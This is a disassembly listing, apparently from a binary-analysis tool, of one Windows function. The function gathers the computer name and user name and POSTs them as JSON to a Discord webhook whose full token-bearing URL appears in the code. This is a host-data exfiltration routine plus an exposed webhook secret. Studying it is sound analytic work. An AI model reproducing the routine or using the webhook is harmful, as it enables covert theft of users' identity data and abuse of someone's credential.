Function at 0x401080
Capabilities:
Connect to http server
Create http request
Get hostname
Get session user name
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2494
call fcn.00401fb0
mov eax, dword [0x403004]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0
push 0
push 0
push 1
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_123.0.0.0_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
jne 0x4010c3
lea eax, [edi + 1]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004012da
mov esp, ebp
pop ebp
ret
push ebx
push 0
push 0
push 3
push 0
push 0
push 0x1bb
push str.discord.com
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebx, eax
test ebx, ebx
jne 0x4010ff
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea eax, [ebx + 1]
pop ebx
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004012da
mov esp, ebp
pop ebp
ret
push esi
push 0
push 0x800000
push 0
push 0
push 0
push str._api_v10_webhooks_1229444058905182299_135JEr0mNihpNg8tznNhtx1tGLgfRASi50uEjIQzK8HZvF9yeelGDnrlkCkLFHh28hIt
push str.POST
push ebx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
jne 0x401146
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push edi
call esi
pop esi
pop ebx
mov eax, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004012da
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x248c]
mov dword [ebp - 0x248c], 0x10
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x2490]
mov dword [ebp - 0x2490], 0x69
push eax
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x2480]
push str._content_:___s____embeds_:_null___attachments_:___
push eax
call fcn.00401040
add esp, 0xc
lea eax, [ebp - 0x2480]
push 0
push eax
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x2480]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4011b0
sub ecx, edx
lea eax, [ebp - 0x2480]
push ecx
push eax
push 0x1e
push str.Content_Type:_application_json
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x4011f8
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
push edi
call esi
pop esi
pop ebx
mov eax, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004012da
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x2484]
mov dword [ebp - 0x2484], 0
push eax
push 0x3ff
lea eax, [ebp - 0x480]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40126f
mov eax, dword [ebp - 0x2484]
test eax, eax
je 0x40126f
cmp eax, 0x400
jae 0x4012d4
mov byte [ebp + eax - 0x480], 0
lea eax, [ebp - 0x480]
push eax
push 0x402284
call fcn.00401010
add esp, 8
lea eax, [ebp - 0x2484]
push eax
push 0x3ff
lea eax, [ebp - 0x480]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x401220
push 0
lea eax, [ebp - 0x2494]
mov dword [ebp - 0x2488], 0
push eax
lea eax, [ebp - 0x2488]
mov dword [ebp - 0x2494], 4
push eax
push 0x20000013
push esi
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
push dword [ebp - 0x2488]
push str.HTTP_status_code:__lu
call fcn.00401010
add esp, 8
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
pop ebx
xor ecx, ebp
pop edi
call fcn.004012da
mov esp, ebp
pop ebp
ret
call fcn.0040140c
int3